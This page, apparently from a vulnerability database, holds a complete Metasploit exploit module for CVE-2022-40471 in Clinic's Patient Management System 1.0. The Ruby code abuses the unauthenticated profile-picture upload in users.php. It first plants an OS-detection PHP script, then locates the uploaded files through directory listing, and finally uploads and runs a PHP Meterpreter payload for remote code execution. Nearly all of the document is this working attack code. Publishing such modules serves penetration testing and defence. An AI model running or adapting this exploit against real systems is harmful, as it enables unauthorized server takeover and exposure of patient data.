Exploiting unauthenticated file upload in Clinic's Patient Management System 1.0 for remote code execution.
Reporter | Title | Published | Views | Family All 6 |
---|---|---|---|---|
Prion | Remote code execution | 31 Oct 202216:15 | – | prion |
CVE | CVE-2022-40471 | 31 Oct 202216:15 | – | cve |
GithubExploit | Exploit for Unrestricted Upload of File with Dangerous Type in Oretnom23 Clinic'S Patient Management System | 12 Oct 202222:33 | – | githubexploit |
Cvelist | CVE-2022-40471 | 31 Oct 202200:00 | – | cvelist |
NVD | CVE-2022-40471 | 31 Oct 202216:15 | – | nvd |
Rapid7 Blog | Metasploit Weekly Wrap-Up 12/20/2024 | 20 Dec 202419:19 | – | rapid7blog |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in Clinic's
Patient Management System 1.0. An attacker can upload a PHP web shell and execute
it by leveraging directory listing enabled on the `/pms/user_images` directory.
},
'Author' => [
'Aaryan Golatkar', # Metasploit Module Developer
'Oğulcan Hami Gül', # Vulnerability discovery
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' => [
['Clinic Patient Management System 1.0', {}]
],
'DefaultTarget' => 0,
'References' => [
['EDB', '51779'],
['CVE', '2022-40471'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']
],
'DisclosureDate' => '2022-10-31',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
])
end
def check
print_status('Checking if target is vulnerable...')
# Step 1: Retrieve PHPSESSID
vprint_status('Fetching PHPSESSID from the server...')
res_session = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'GET'
})
unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
return CheckCode::Unknown
end
phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
if phpsessid.nil?
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
return CheckCode::Unknown
else
phpsessid = phpsessid[1]
vprint_good("Obtained PHPSESSID: #{phpsessid}")
end
# Step 2: Attempt File Upload
dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
dummy_content = Rex::Text.rand_text_alphanumeric(20)
dummy_name = Rex::Text.rand_text_alphanumeric(6)
post_data = Rex::MIME::Message.new
post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
vprint_status("Uploading dummy file #{dummy_filename}...")
res_upload = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'cookie' => "PHPSESSID=#{phpsessid}"
})
unless res_upload && res_upload.code == 302
print_error('File upload attempt failed. Target may not be vulnerable.')
return CheckCode::Safe
end
vprint_good('Dummy file uploaded successfully.')
# Step 3: Verify File in Directory Listing
vprint_status('Verifying uploaded file in /pms/user_images...')
res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET',
'cookie' => "PHPSESSID=#{phpsessid}"
})
if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
CheckCode::Vulnerable
else
vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
CheckCode::Unknown
end
end
def upload_shell
random_user = Rex::Text.rand_text_alphanumeric(8)
random_password = Rex::Text.rand_text_alphanumeric(12)
detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
detection_filename = "#{detection_basename}.php"
# Step 1: Detect the OS
detection_script = <<~PHP
<?php
echo PHP_OS . "\\n";
?>
PHP
vprint_status("Uploading OS detection script as #{detection_filename}...")
post_data = Rex::MIME::Message.new
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
vprint_good('OS detection script uploaded successfully!')
# Step 2: Retrieve the actual uploaded filename
vprint_status('Retrieving directory listing to identify detection script...')
sleep datastore['LISTING_DELAY']
res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET'
})
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?
actual_detection_filename = match[1]
vprint_status("Detected script filename: #{actual_detection_filename}")
# Step 3: Execute the detection script
detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
vprint_status("Executing OS detection script at #{detection_url}...")
res = send_request_cgi({
'uri' => detection_url,
'method' => 'GET'
})
fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
detected_os = res.body.strip.downcase
vprint_status("Detected OS: #{detected_os}")
# Step 4: Choose payload based on OS
if detected_os.include?('win')
payload_content = get_write_exec_payload
print_status('Target is Windows. Using standard PHP Meterpreter payload.')
else
payload_content = get_write_exec_payload(unlink_self: true)
print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
end
# Step 5: Upload the payload
random_user = Rex::Text.rand_text_alphanumeric(8)
random_password = Rex::Text.rand_text_alphanumeric(12)
payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"
vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")
post_data = Rex::MIME::Message.new
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
print_good('Payload uploaded successfully!')
# Verify the presence of the uploaded file in the directory listing
vprint_status('Retrieving directory listing to confirm the uploaded payload...')
sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server
res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET'
})
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
# Search for the uploaded filename
match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?
actual_filename = match[1]
vprint_good("Verified payload presence: #{actual_filename}")
register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
actual_filename
end
def exploit
# Upload the shell and retrieve its filename
uploaded_filename = upload_shell
# Construct the URL for the uploaded shell
shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
print_status("Executing the uploaded shell at #{shell_url}...")
# Execute the uploaded shell
send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
end
end
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo